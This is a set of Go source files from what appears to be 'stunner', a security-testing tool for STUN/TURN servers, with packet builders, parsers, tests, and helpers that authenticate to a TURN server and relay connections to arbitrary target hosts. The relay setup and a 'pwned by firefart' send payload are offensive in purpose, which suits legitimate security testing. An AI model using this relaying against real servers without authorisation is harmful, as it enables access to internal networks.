28 | str, ok := attrNames[a]
29 | if ok {
30 | return str
31 | }
32 | str, ok = turnAttrNames[a]
33 | if ok {
34 | return str
35 | }
36 | str, ok = turnTCPAttrNames[a]
37 | if ok {
38 | return str
39 | }
40 | return ""
41 | }
42 |
43 | func RequestedTransportString(r RequestedTransport) string {
44 | str, ok := requestedTransportNames[r]
45 | if ok {
46 | return str
47 | }
48 | return ""
49 | }
50 |
51 | func RequestedAddressFamilyString(r AllocateProtocol) string {
52 | str, ok := allocateProtocolNames[r]
53 | if ok {
54 | return str
55 | }
56 | return ""
57 | }
58 |
--------------------------------------------------------------------------------
/internal/helpers_stun.go:
--------------------------------------------------------------------------------
1 | package internal
2 |
3 | import (
4 | "crypto/hmac"
5 | "crypto/md5"
6 | "crypto/sha1"
7 | "encoding/binary"
8 | "fmt"
9 | "hash/crc32"
10 | )
11 |
12 | const (
13 | fingerprint = 0x5354554e // nolint:unused
14 | )
15 |
16 | // Align the uint16 number to the smallest multiple of 4, which is larger than
17 | // or equal to the uint16 number.
18 | func align(n uint16) uint16 {
19 | return (n + 3) & 0xfffc
20 | }
21 |
22 | // Padding handles the padding required for STUN packets
23 | func Padding(bytes []byte) []byte {
24 | length := uint16(len(bytes))
25 | return append(bytes, make([]byte, align(length)-length)...)
26 | }
27 |
28 | /*
29 | The FINGERPRINT attribute MAY be present in all STUN messages. The
30 | value of the attribute is computed as the CRC-32 of the STUN message
31 | up to (but excluding) the FINGERPRINT attribute itself, XOR'ed with
32 | the 32-bit value 0x5354554e
33 | */
34 | // nolint:unused
35 | func generateFingerprint(buf []byte) []byte {
36 | crc := crc32.ChecksumIEEE(buf) ^ fingerprint
37 | ret := make([]byte, 4)
38 | binary.BigEndian.PutUint32(ret, crc)
39 | return ret
40 | }
41 |
42 | func calculateMessageIntegrity(buf []byte, username, realm, password string) ([]byte, error) {
43 | // key = MD5(username ":" realm ":" SASLprep(password))
44 | key := fmt.Sprintf("%s:%s:%s", username, realm, password)
45 | // key := password
46 | md := md5.New()
47 | if _, err := md.Write([]byte(key)); err != nil {
48 | return nil, err
49 | }
50 | hmacKey := md.Sum(nil)
51 |
52 | x := hmac.New(sha1.New, hmacKey)
53 | if _, err := x.Write(buf); err != nil {
54 | return nil, err
55 | }
56 | return x.Sum(nil), nil
57 | }
58 |
--------------------------------------------------------------------------------
/internal/helpers_stun_test.go:
--------------------------------------------------------------------------------
1 | package internal
2 |
3 | import (
4 | "bytes"
5 | "testing"
6 | )
7 |
8 | func TestPadding(t *testing.T) {
9 | t.Parallel()
10 |
11 | tests := []struct {
12 | testName string
13 | inputLen int
14 | expectedLen int
15 | }{
16 | {"Does not pad an empty array", 0, 0},
17 | {"Pads a 3 byte string", 3, 4},
18 | {"Pads a 5 byte string", 5, 8},
19 | {"Does not pad a 4 byte string", 4, 4},
20 | {"Does not pad a 32 byte string", 32, 32},
21 | }
22 | for _, tt := range tests {
23 | tt := tt // NOTE: https://github.com/golang/go/wiki/CommonMistakes#using-goroutines-on-loop-iterator-variables
24 | t.Run(tt.testName, func(t *testing.T) {
25 | t.Parallel()
26 | input := bytes.Repeat([]byte{1}, tt.inputLen)
27 | output := Padding(input)
28 | if len(output) != tt.expectedLen {
29 | t.Errorf("Expected %d got %d", tt.expectedLen, len(output))
30 | }
31 | })
32 | }
33 | }
34 |
--------------------------------------------------------------------------------
/internal/helpers_turn.go:
--------------------------------------------------------------------------------
1 | package internal
2 |
3 | import (
4 | "bytes"
5 | "context"
6 | "encoding/binary"
7 | "fmt"
8 | "net"
9 | "net/netip"
10 | "time"
11 |
12 | "github.com/firefart/stunner/internal/helper"
13 | )
14 |
15 | func xor(content, key []byte) []byte {
16 | var buf []byte
17 | index := 0
18 | for i := 0; i < len(content); i++ {
19 | if index >= len(key) {
20 | index = 0
21 | }
22 | buf = append(buf, content[i]^key[index])
23 | index++
24 | }
25 | return buf
26 | }
27 |
28 | // xorAddr implements the XOR required for the STUN and TURN protocol
29 | //
30 | // 0 1 2 3
31 | // 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
32 | // +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
33 | // |x x x x x x x x| Family | X-Port |
34 | // +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
35 | // | X-Address (Variable)
36 | // +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
37 | //
38 | // Figure 6: Format of XOR-MAPPED-ADDRESS Attribute
39 | func xorAddr(ip netip.Addr, port uint16, transactionID []byte) ([]byte, error) {
40 | var family uint16
41 | var key []byte
42 |
43 | if ip.Is6() {
44 | family = uint16(0x02)
45 | key = append(MagicCookie, transactionID...)
46 | } else if ip.Is4() {
47 | family = uint16(0x01)
48 | key = MagicCookie
49 | } else {
50 | return nil, fmt.Errorf("invalid IP address %02x", ip)
51 | }
52 |
53 | var buf []byte
54 |
55 | /*
56 | If the IP
57 | address family is IPv4, X-Address is computed by taking the mapped IP
58 | address in host byte order, XOR'ing it with the magic cookie, and
59 | converting the result to network byte order. If the IP address
60 | family is IPv6, X-Address is computed by taking the mapped IP address
61 | in host byte order, XOR'ing it with the concatenation of the magic
62 | cookie and the 96-bit transaction ID, and converting the result to
63 | network byte order.
64 | */
65 | magicInt := binary.BigEndian.Uint16(MagicCookie)
66 |
67 | buf = append(buf, helper.PutUint16(family)...)
68 | buf = append(buf, helper.PutUint16(port^magicInt)...)
69 |
70 | ipByte := ip.AsSlice()
71 | buf = append(buf, xor(ipByte, key)...)
72 |
73 | return buf, nil
74 | }
75 |
76 | func ParseMappedAdress(input []byte) (*netip.Addr, uint16, error) {
77 | if len(input) < 5 {
78 | return nil, 0, fmt.Errorf("invalid buffer length %d, need to be > 4", len(input))
79 | }
80 | family := input[0:2] // 0x0001 = ipv4, 0x0002 = ipv6
81 | if !bytes.Equal(family, []byte{0o0, 0o1}) && !bytes.Equal(family, []byte{0o0, 0o2}) {
82 | return nil, 0, fmt.Errorf("invalid family %02x", family)
83 | }
84 | portRaw := input[2:4]
85 | payload := input[4:]
86 | portInt := binary.BigEndian.Uint16(portRaw)
87 | ip, ok := netip.AddrFromSlice(payload)
88 | if !ok {
89 | return nil, 0, fmt.Errorf("invalid IP %02x", payload)
90 | }
91 | return &ip, portInt, nil
92 | }
93 |
94 | func ConvertXORAddr(input []byte, transactionID string) (string, uint16, error) {
95 | if len(input) < 5 {
96 | return "", 0, fmt.Errorf("invalid buffer length %d, need to be > 4", len(input))
97 | }
98 | family := input[0:2] // 0x0001 = ipv4, 0x0002 = ipv6
99 | if !bytes.Equal(family, []byte{0o0, 0o1}) && !bytes.Equal(family, []byte{0o0, 0o2}) {
100 | return "", 0, fmt.Errorf("invalid family %02x", family)
101 | }
102 | portRaw := input[2:4]
103 | payload := input[4:]
104 | magicInt := binary.BigEndian.Uint16(MagicCookie)
105 | portInt := binary.BigEndian.Uint16(portRaw)
106 | port := portInt ^ magicInt
107 |
108 | key := MagicCookie
109 | switch family[1] {
110 | case 0x01:
111 | key = MagicCookie
112 | case 0x02:
113 | key = append(MagicCookie, transactionID...)
114 | }
115 |
116 | host := xor(payload, key)
117 | ip, ok := netip.AddrFromSlice(host)
118 | if !ok {
119 | return "", 0, fmt.Errorf("invalid IP %02x", host)
120 | }
121 | return ip.String(), port, nil
122 | }
123 |
124 | // SetupTurnConnection executes the following:
125 | //
126 | // Allocate Unauth (to get realm and nonce)
127 | // Allocate Auth
128 | // CreatePermission
129 | //
130 | // it returns the connection, the realm, the nonce and an error
131 | func SetupTurnConnection(ctx context.Context, logger DebugLogger, connectProtocol string, turnServer string, useTLS bool, timeout time.Duration, targetHost netip.Addr, targetPort uint16, username, password string) (net.Conn, string, string, error) {
132 | remote, err := Connect(ctx, connectProtocol, turnServer, useTLS, timeout)
133 | if err != nil {
134 | return nil, "", "", err
135 | }
136 |
137 | addressFamily := AllocateProtocolIgnore
138 | if targetHost.Is6() {
139 | addressFamily = AllocateProtocolIPv6
140 | }
141 |
142 | allocateRequest := AllocateRequest(RequestedTransportUDP, addressFamily)
143 | allocateResponse, err := allocateRequest.SendAndReceive(ctx, logger, remote, timeout)
144 | if err != nil {
145 | return nil, "", "", fmt.Errorf("error on sending AllocateRequest: %w", err)
146 | }
147 | if allocateResponse.Header.MessageType.Class != MsgTypeClassError {
148 | return nil, "", "", fmt.Errorf("MessageClass is not Error (should be not authenticated)")
149 | }
150 |
151 | realm := string(allocateResponse.GetAttribute(AttrRealm).Value)
152 | nonce := string(allocateResponse.GetAttribute(AttrNonce).Value)
153 |
154 | allocateRequest = AllocateRequestAuth(username, password, nonce, realm, RequestedTransportUDP, addressFamily)
155 | allocateResponse, err = allocateRequest.SendAndReceive(ctx, logger, remote, timeout)
156 | if err != nil {
157 | return nil, "", "", fmt.Errorf("error on sending AllocateRequest Auth: %w", err)
158 | }
159 | if allocateResponse.Header.MessageType.Class == MsgTypeClassError {
160 | return nil, "", "", fmt.Errorf("error on AllocateRequest Auth: %s", allocateResponse.GetErrorString())
161 | }
162 | permissionRequest, err := CreatePermissionRequest(username, password, nonce, realm, targetHost, targetPort)
163 | if err != nil {
164 | return nil, "", "", fmt.Errorf("error on generating CreatePermissionRequest: %w", err)
165 | }
166 | permissionResponse, err := permissionRequest.SendAndReceive(ctx, logger, remote, timeout)
167 | if err != nil {
168 | return nil, "", "", fmt.Errorf("error on sending CreatePermissionRequest: %w", err)
169 | }
170 | if permissionResponse.Header.MessageType.Class == MsgTypeClassError {
171 | return nil, "", "", fmt.Errorf("error on CreatePermission: %s", permissionResponse.GetErrorString())
172 | }
173 |
174 | return remote, realm, nonce, nil
175 | }
176 |
--------------------------------------------------------------------------------
/internal/helpers_turn_test.go:
--------------------------------------------------------------------------------
1 | package internal
2 |
3 | import (
4 | "encoding/hex"
5 | "net/netip"
6 | "testing"
7 | )
8 |
9 | func TestXorAddr(t *testing.T) {
10 | t.Parallel()
11 | // IPv4 127.0.0.1:22
12 | expected := "000121045e12a443"
13 | x, err := xorAddr(netip.MustParseAddr("127.0.0.1"), 22, []byte("ASDF"))
14 | if err != nil {
15 | t.Error(err)
16 | }
17 | h := hex.EncodeToString(x)
18 | if h != expected {
19 | t.Errorf("expected %q, got %q", expected, h)
20 | }
21 | }
22 |
23 | func TestConvertXORAddr(t *testing.T) {
24 | t.Parallel()
25 |
26 | tests := []struct {
27 | input string
28 | transactionID string
29 | expectedHost string
30 | expectedPort uint16
31 | }{
32 | {"000121422112a442", "ASDF", "0.0.0.0", 80},
33 | }
34 | for _, tt := range tests {
35 | tt := tt // NOTE: https://github.com/golang/go/wiki/CommonMistakes#using-goroutines-on-loop-iterator-variables
36 | t.Run(tt.input, func(t *testing.T) {
37 | t.Parallel()
38 | in, err := hex.DecodeString(tt.input)
39 | if err != nil {
40 | t.Fatalf("invalid input %s: %v", tt.input, err)
41 | }
42 | host, port, err := ConvertXORAddr(in, tt.transactionID)
43 | if err != nil {
44 | t.Fatalf("could not convert xor %s: %v", tt.input, err)
45 | }
46 | if host != tt.expectedHost {
47 | t.Errorf("Host: expected %q but got %q", tt.expectedHost, host)
48 | }
49 | if port != tt.expectedPort {
50 | t.Errorf("Port: expected %d but got %d", tt.expectedPort, port)
51 | }
52 | })
53 | }
54 | }
55 |
--------------------------------------------------------------------------------
/internal/helpers_turntcp.go:
--------------------------------------------------------------------------------
1 | package internal
2 |
3 | import (
4 | "context"
5 | "fmt"
6 | "net"
7 | "net/netip"
8 | "time"
9 | )
10 |
11 | type keepAlive interface {
12 | SetKeepAlive(bool)
13 | }
14 |
15 | // SetupTurnTCPConnection executes the following:
16 | //
17 | // Allocate Unauth (to get realm and nonce)
18 | // Allocate Auth
19 | // Connect
20 | // Opens Data Connection
21 | // ConnectionBind
22 | //
23 | // it returns the controlConnection, the dataConnection and an error
24 | func SetupTurnTCPConnection(ctx context.Context, logger DebugLogger, turnServer string, useTLS bool, timeout time.Duration, targetHost netip.Addr, targetPort uint16, username, password string) (string, string, net.Conn, net.Conn, error) {
25 | // protocol needs to be tcp
26 | controlConnection, err := Connect(ctx, "tcp", turnServer, useTLS, timeout)
27 | if err != nil {
28 | return "", "", nil, nil, fmt.Errorf("error on establishing control connection: %w", err)
29 | }
30 |
31 | if x, ok := controlConnection.(keepAlive); ok {
32 | logger.Debug("controlconnection: set keepalive to true")
33 | x.SetKeepAlive(true)
34 | }
35 |
36 | logger.Debugf("opened turn tcp control connection from %s to %s", controlConnection.LocalAddr().String(), controlConnection.RemoteAddr().String())
37 |
38 | addressFamily := AllocateProtocolIgnore
39 | if targetHost.Is6() {
40 | addressFamily = AllocateProtocolIPv6
41 | }
42 |
43 | allocateRequest := AllocateRequest(RequestedTransportTCP, addressFamily)
44 | allocateResponse, err := allocateRequest.SendAndReceive(ctx, logger, controlConnection, timeout)
45 | if err != nil {
46 | return "", "", nil, nil, fmt.Errorf("error on sending allocate request 1: %w", err)
47 | }
48 | if allocateResponse.Header.MessageType.Class != MsgTypeClassError {
49 | return "", "", nil, nil, fmt.Errorf("MessageClass is not Error (should be not authenticated)")
50 | }
51 |
52 | realm := string(allocateResponse.GetAttribute(AttrRealm).Value)
53 | nonce := string(allocateResponse.GetAttribute(AttrNonce).Value)
54 |
55 | allocateRequest = AllocateRequestAuth(username, password, nonce, realm, RequestedTransportTCP, addressFamily)
56 | allocateResponse, err = allocateRequest.SendAndReceive(ctx, logger, controlConnection, timeout)
57 | if err != nil {
58 | return "", "", nil, nil, fmt.Errorf("error on sending allocate request 2: %w", err)
59 | }
60 | if allocateResponse.Header.MessageType.Class == MsgTypeClassError {
61 | return "", "", nil, nil, fmt.Errorf("error on allocate response: %s", allocateResponse.GetErrorString())
62 | }
63 |
64 | connectRequest, err := ConnectRequestAuth(username, password, nonce, realm, targetHost, targetPort)
65 | if err != nil {
66 | return "", "", nil, nil, fmt.Errorf("error on generating Connect request: %w", err)
67 | }
68 | connectResponse, err := connectRequest.SendAndReceive(ctx, logger, controlConnection, timeout)
69 | if err != nil {
70 | return "", "", nil, nil, fmt.Errorf("error on sending Connect request: %w", err)
71 | }
72 | if connectResponse.Header.MessageType.Class == MsgTypeClassError {
73 | return "", "", nil, nil, fmt.Errorf("error on Connect response: %s", connectResponse.GetErrorString())
74 | }
75 |
76 | connectionID := connectResponse.GetAttribute(AttrConnectionID).Value
77 |
78 | dataConnection, err := Connect(ctx, "tcp", turnServer, useTLS, timeout)
79 | if err != nil {
80 | return "", "", nil, nil, fmt.Errorf("error on establishing data connection: %w", err)
81 | }
82 |
83 | if x, ok := dataConnection.(keepAlive); ok {
84 | logger.Debug("dataconnection: set keepalive to true")
85 | x.SetKeepAlive(true)
86 | }
87 |
88 | logger.Debugf("opened turn tcp data connection from %s to %s", dataConnection.LocalAddr().String(), dataConnection.RemoteAddr().String())
89 |
90 | connectionBindRequest := ConnectionBindRequest(connectionID, username, password, nonce, realm)
91 | connectionBindResponse, err := connectionBindRequest.SendAndReceive(ctx, logger, dataConnection, timeout)
92 | if err != nil {
93 | return "", "", nil, nil, fmt.Errorf("error on sending ConnectionBind request: %w", err)
94 | }
95 | if connectionBindResponse.Header.MessageType.Class == MsgTypeClassError {
96 | return "", "", nil, nil, fmt.Errorf("error on ConnectionBind reposnse: %s", connectionBindResponse.GetErrorString())
97 | }
98 |
99 | return realm, nonce, controlConnection, dataConnection, nil
100 | }
101 |
--------------------------------------------------------------------------------
/internal/logger.go:
--------------------------------------------------------------------------------
1 | package internal
2 |
3 | type DebugLogger interface {
4 | Debug(...interface{})
5 | Debugf(format string, args ...interface{})
6 | }
7 |
--------------------------------------------------------------------------------
/internal/parsers_stun.go:
--------------------------------------------------------------------------------
1 | package internal
2 |
3 | import (
4 | "encoding/binary"
5 | "fmt"
6 | )
7 |
8 | // fromBytes creates a STUN object from a byte slice
9 | func fromBytes(data []byte) (*Stun, error) {
10 | t := new(Stun)
11 | if len(data) < headerSize {
12 | return nil, fmt.Errorf("invalid turn packet. Packet Data: %s", string(data))
13 | }
14 | headerRaw := data[0:headerSize]
15 | t.Header = parseHeader(headerRaw)
16 | expectedPacketSize := int(t.Header.MessageLength) + headerSize
17 | if expectedPacketSize != len(data) {
18 | extraData := ""
19 | if expectedPacketSize < len(data) {
20 | extraData = string(data[expectedPacketSize:])
21 | }
22 | return nil, fmt.Errorf("attribute message size (%d) missmatch to received data (%d). extra data: %s", expectedPacketSize, len(data), extraData)
23 | }
24 | attributesRaw := data[headerSize:expectedPacketSize]
25 | t.Attributes = parseAttributes(attributesRaw)
26 | return t, nil
27 | }
28 |
29 | func parseHeader(header []byte) Header {
30 | parsedHeader := Header{
31 | MessageType: parseSTUNMessageType(header[:2]),
32 | MessageLength: binary.BigEndian.Uint16(header[2:4]),
33 | TransactionID: string(header[8:20]),
34 | }
35 | return parsedHeader
36 | }
37 |
38 | func parseSTUNMessageType(msgType []byte) MessageType {
39 | buf := binary.BigEndian.Uint16(msgType)
40 | // Example: 0x0113 = Allocate Error Response (Class 3 and Method 3)
41 | // 0x0113 --> 0000 0001 0001 0011
42 | // 0x0010 --> 0000 0000 0001 0000 --> Get Error Bit
43 | // 0x0100 --> 0000 0001 0000 0000 --> Get Error Bit
44 | // --> 0000 0000 0000 0011 --> 3
45 | class := ((buf & 0x0010) >> 4) | ((buf & 0x0100) >> 7)
46 | // Example: 0x0113 = Allocate Error Response (Class 3 and Method 3)
47 | // 0x0113 --> 0000 0001 0001 0011
48 | // 0x000F --> 0000 0000 0000 1111 --> Get last 4 bit
49 | // 0x00E0 --> 0000 0000 1110 0000 --> Get next 3 bits
50 | // 0x3E00 --> 0011 1110 0000 0000 --> Get next bits
51 | // --> 0000 0000 0000 0011 --> 3
52 | method := (buf & 0x000F) | ((buf & 0x00E0) >> 1) | ((buf & 0x3E00) >> 2)
53 | return MessageType{
54 | Class: MessageTypeClass(class),
55 | Method: MessageTypeMethod(method),
56 | }
57 | }
58 |
59 | func parseAttributes(attributes []byte) []Attribute {
60 | var attrs []Attribute
61 | if len(attributes) == 0 {
62 | return attrs
63 | }
64 | attrsRemaining := true
65 | inLength := len(attributes)
66 | var bufPos uint16
67 | for attrsRemaining {
68 | attr := Attribute{}
69 | attr.Type = AttributeType(binary.BigEndian.Uint16(attributes[bufPos : 2+bufPos]))
70 | bufPos += 2
71 | attr.Length = binary.BigEndian.Uint16(attributes[bufPos : 2+bufPos])
72 | bufPos += 2
73 | attr.Value = attributes[bufPos : attr.Length+bufPos]
74 | bufPos += attr.Length
75 | // Padding
76 | if rem := bufPos % 4; rem != 0 {
77 | attr.padding = 4 - rem
78 | bufPos += attr.padding
79 | }
80 | if int(bufPos) >= inLength {
81 | attrsRemaining = false
82 | }
83 | attrs = append(attrs, attr)
84 | }
85 | return attrs
86 | }
87 |
--------------------------------------------------------------------------------
/internal/parsers_stun_test.go:
--------------------------------------------------------------------------------
1 | package internal
2 |
3 | import (
4 | "encoding/hex"
5 | "fmt"
6 | "testing"
7 | )
8 |
9 | func TestFromBytes(t *testing.T) {
10 | t.Parallel()
11 |
12 | tests := []struct {
13 | testName string
14 | input string
15 | }{
16 | {"Allocate Request", "000300102112a442dca12e20d9251238502b86ac0019000411000000000d000400000320"},
17 | {"Allocate Error Response", "011300402112a442dca12e20d9251238502b86ac0009001000000401556e617574686f72697a6564001500103164393836623466373632633436306400140009736c61636b2e636f6df84f66802200044e6f6e65"},
18 | {"Allocate Success", "010300402112a442dca12e20d9251238502b86ac001600080001fb862b33a419002000080001e51c0f190adb000d000400000320802200044e6f6e6500080014537f619e9bd4f5b2f4a1d81001fe0dd1fa5c1d0d"},
19 | {"Send Indication", "001600382112a442dca12e20d9251238502b86ac00120008000121275e12a443001300258c550100000100000000000008636c69656e74733506676f6f676c6503636f6d0000010001000000"},
20 | {"Allocate Request TCP", "000300102112a442cf513b99ab329be6bb1a7d3e0019000406000000000d000400000320"},
21 | {"Connect Response", "010a00202112a442cf513b99ab329be6bb1a7d3e002a000435d8cb0d000800143519a43cda074bbbb61ac44342a0618ee9583817"},
22 | }
23 | for _, tt := range tests {
24 | tt := tt // NOTE: https://github.com/golang/go/wiki/CommonMistakes#using-goroutines-on-loop-iterator-variables
25 | t.Run(tt.testName, func(t *testing.T) {
26 | t.Parallel()
27 | in, err := hex.DecodeString(tt.input)
28 | if err != nil {
29 | t.Fatalf("invalid input on %s: %v", tt.testName, err)
30 | }
31 | s, err := fromBytes(in)
32 | if err != nil {
33 | t.Fatalf("could not parse paket: %v", err)
34 | }
35 | fmt.Printf("%+v\n", s)
36 | if s.Header.TransactionID == "" {
37 | t.Fatal("transaction id is empty")
38 | }
39 | })
40 | }
41 | }
42 |
43 | func TestFromBytesFail(t *testing.T) {
44 | t.Parallel()
45 |
46 | tests := []struct {
47 | testName string
48 | input string
49 | }{
50 | {"Fails on an invalid message", "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"},
51 | {"Fails on short message", "aa"},
52 | {"Fails on empty message", ""},
53 | {"Fails on an invalid message (invalid attribute size)", "01130aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"},
54 | }
55 | for _, tt := range tests {
56 | tt := tt // NOTE: https://github.com/golang/go/wiki/CommonMistakes#using-goroutines-on-loop-iterator-variables
57 | t.Run(tt.testName, func(t *testing.T) {
58 | t.Parallel()
59 | in, err := hex.DecodeString(tt.input)
60 | if err != nil {
61 | t.Fatalf("invalid input on %s: %v", tt.testName, err)
62 | }
63 | _, err = fromBytes(in)
64 | if err == nil {
65 | t.Fatal("should have gotten an error")
66 | }
67 | })
68 | }
69 | }
70 |
--------------------------------------------------------------------------------
/internal/parsers_turn.go:
--------------------------------------------------------------------------------
1 | package internal
2 |
3 | import (
4 | "encoding/binary"
5 | "fmt"
6 | )
7 |
8 | // ExtractChannelData extracts the channel and length from a UDP data packet
9 | func ExtractChannelData(buf []byte) ([]byte, []byte, error) {
10 | if len(buf) < 4 {
11 | return nil, nil, fmt.Errorf("invalid buf len %d", len(buf))
12 | }
13 | channelNumber := buf[:2]
14 | dataLength := binary.BigEndian.Uint16(buf[2:4])
15 | data := buf[4:]
16 | if int(dataLength) != len(data) {
17 | return nil, nil, fmt.Errorf("reported len %d different from sent length %d", dataLength, len(data))
18 | }
19 | return channelNumber, data, nil
20 | }
21 |
--------------------------------------------------------------------------------
/internal/parsers_turn_test.go:
--------------------------------------------------------------------------------
1 | package internal
2 |
--------------------------------------------------------------------------------
/internal/requests_stun.go:
--------------------------------------------------------------------------------
1 | package internal
2 |
3 | // BindingRequest returns a request for the BINDING method
4 | func BindingRequest() *Stun {
5 | s := newStun()
6 | s.Header.MessageType = MessageType{
7 | Class: MsgTypeClassRequest,
8 | Method: MsgTypeMethodBinding,
9 | }
10 |
11 | return s
12 | }
13 |
--------------------------------------------------------------------------------
/internal/requests_turn.go:
--------------------------------------------------------------------------------
1 | package internal
2 |
3 | import (
4 | "encoding/binary"
5 | "fmt"
6 | "net/netip"
7 | )
8 |
9 | // AllocateRequest returns an ALLOCATE request
10 | func AllocateRequest(targetProtocol RequestedTransport, allocateProtcol AllocateProtocol) *Stun {
11 | transport := make([]byte, 4)
12 | binary.LittleEndian.PutUint32(transport, uint32(targetProtocol))
13 |
14 | s := newStun()
15 |
16 | s.Header.MessageType = MessageType{
17 | Class: MsgTypeClassRequest,
18 | Method: MsgTypeMethodAllocate,
19 | }
20 |
21 | s.Attributes = []Attribute{{
22 | Type: AttrRequestedTransport,
23 | Value: transport,
24 | }}
25 |
26 | if allocateProtcol != AllocateProtocolIgnore {
27 | s.Attributes = append(s.Attributes, Attribute{
28 | Type: AttrRequestedAddressFamily,
29 | // https://docs.microsoft.com/en-us/openspecs/office_protocols/ms-turn/e7efc457-9312-4a6b-8089-94032a599198
30 | // manually add the reserved bytes
31 | Value: []byte{byte(allocateProtcol), 0x00, 0x00, 0x00},
32 | })
33 | }
34 |
35 | return s
36 | }
37 |
38 | // AllocateRequestAuth returns an authenticated ALLOCATE request
39 | func AllocateRequestAuth(username, password, nonce, realm string, targetProtocol RequestedTransport, allocateProtcol AllocateProtocol) *Stun {
40 | transport := make([]byte, 4)
41 | binary.LittleEndian.PutUint32(transport, uint32(targetProtocol))
42 |
43 | s := newStun()
44 | s.Username = username
45 | s.Password = password
46 | s.Header.MessageType = MessageType{
47 | Class: MsgTypeClassRequest,
48 | Method: MsgTypeMethodAllocate,
49 | }
50 |
51 | s.Attributes = []Attribute{
52 | {
53 | Type: AttrRequestedTransport,
54 | Value: transport,
55 | }, {
56 | Type: AttrUsername,
57 | Value: []byte(username),
58 | }, {
59 | Type: AttrRealm,
60 | Value: []byte(realm),
61 | }, {
62 | Type: AttrNonce,
63 | Value: []byte(nonce),
64 | },
65 | }
66 |
67 | if allocateProtcol != AllocateProtocolIgnore {
68 | s.Attributes = append(s.Attributes, Attribute{
69 | Type: AttrRequestedAddressFamily,
70 | // https://docs.microsoft.com/en-us/openspecs/office_protocols/ms-turn/e7efc457-9312-4a6b-8089-94032a599198
71 | // manually add the reserved bytes
72 | Value: []byte{byte(allocateProtcol), 0x00, 0x00, 0x00},
73 | })
74 | }
75 |
76 | return s
77 | }
78 |
79 | // SendRequest returns a SEND request
80 | func SendRequest(target netip.Addr, port uint16) (*Stun, error) {
81 | s := newStun()
82 | targetXOR, err := xorAddr(target, port, []byte(s.Header.TransactionID))
83 | if err != nil {
84 | return nil, err
85 | }
86 |
87 | s.Header.MessageType = MessageType{
88 | Class: MsgTypeClassRequest,
89 | Method: MsgTypeMethodSend,
90 | }
91 |
92 | s.Attributes = []Attribute{
93 | {
94 | Type: AttrXorPeerAddress,
95 | Value: targetXOR,
96 | }, {
97 | Type: AttrData,
98 | Value: []byte("pwned by firefart\n"),
99 | },
100 | }
101 |
102 | return s, nil
103 | }
104 |
105 | // CreatePermissionRequest returns a CREATE PERMISSION request
106 | func CreatePermissionRequest(username, password, nonce, realm string, target netip.Addr, port uint16) (*Stun, error) {
107 | s := newStun()
108 | targetXOR, err := xorAddr(target, port, []byte(s.Header.TransactionID))
109 | if err != nil {
110 | return nil, err
111 | }
112 |
113 | s.Username = username
114 | s.Password = password
115 | s.Header.MessageType = MessageType{
116 | Class: MsgTypeClassRequest,
117 | Method: MsgTypeMethodCreatePermission,
118 | }
119 |
120 | s.Attributes = []Attribute{
121 | {
122 | Type: AttrXorPeerAddress,
123 | Value: targetXOR,
124 | }, {
125 | Type: AttrUsername,
126 | Value: []byte(username),
127 | }, {
128 | Type: AttrRealm,
129 | Value: []byte(realm),
130 | }, {
131 | Type: AttrNonce,
132 | Value: []byte(nonce),
133 | },
134 | }
135 |
136 | return s, nil
137 | }
138 |
139 | // ChannelBindRequest returns a CHANNEL BIND request
140 | func ChannelBindRequest(username, password, nonce, realm string, target netip.Addr, port uint16, channelNumber []byte) (*Stun, error) {
141 | s := newStun()
142 | targetXOR, err := xorAddr(target, port, []byte(s.Header.TransactionID))
143 | if err != nil {
144 | return nil, err
145 | }
146 |
147 | if len(channelNumber) != 2 {
148 | return nil, fmt.Errorf("need a 2 byte channel number, got %02x", channelNumber)
149 | }
150 |
151 | s.Username = username
152 | s.Password = password
153 | s.Header.MessageType = MessageType{
154 | Class: MsgTypeClassRequest,
155 | Method: MsgTypeMethodChannelbind,
156 | }
157 |
158 | s.Attributes = []Attribute{
159 | {
160 | Type: AttrChannelNumber,
161 | Value: append(channelNumber, []byte{0x00, 0x00}...),
162 | }, {
163 | Type: AttrXorPeerAddress,
164 | Value: targetXOR,
165 | }, {
166 | Type: AttrUsername,
167 | Value: []byte(username),
168 | }, {
169 | Type: AttrRealm,
170 | Value: []byte(realm),
171 | }, {
172 | Type: AttrNonce,
173 | Value: []byte(nonce),
174 | },
175 | }
176 |
177 | return s, nil
178 | }
179 |
180 | // RefreshRequest returns a REFRESH request
181 | func RefreshRequest(username, password, nonce, realm string) *Stun {
182 | s := newStun()
183 | s.Username = username
184 | s.Password = password
185 | s.Header.MessageType = MessageType{
186 | Class: MsgTypeClassRequest,
187 | Method: MsgTypeMethodRefresh,
188 | }
189 |
190 | s.Attributes = []Attribute{
191 | {
192 | Type: AttrUsername,
193 | Value: []byte(username),
194 | }, {
195 | Type: AttrRealm,
196 | Value: []byte(realm),
197 | }, {
198 | Type: AttrNonce,
199 | Value: []byte(nonce),
200 | },
201 | }
202 |
203 | return s
204 | }
205 |
--------------------------------------------------------------------------------
/internal/requests_turntcp.go:
--------------------------------------------------------------------------------
1 | package internal
2 |
3 | import (
4 | "net/netip"
5 | )
6 |
7 | // ConnectRequest returns a CONNECT request
8 | func ConnectRequest(target netip.Addr, port uint16) (*Stun, error) {
9 | s := newStun()
10 | targetXOR, err := xorAddr(target, port, []byte(s.Header.TransactionID))
11 | if err != nil {
12 | return nil, err
13 | }
14 |
15 | s.Header.MessageType = MessageType{
16 | Class: MsgTypeClassRequest,
17 | Method: MsgTypeMethodConnect,
18 | }
19 |
20 | s.Attributes = []Attribute{
21 | {
22 | Type: AttrXorPeerAddress,
23 | Value: targetXOR,
24 | },
25 | }
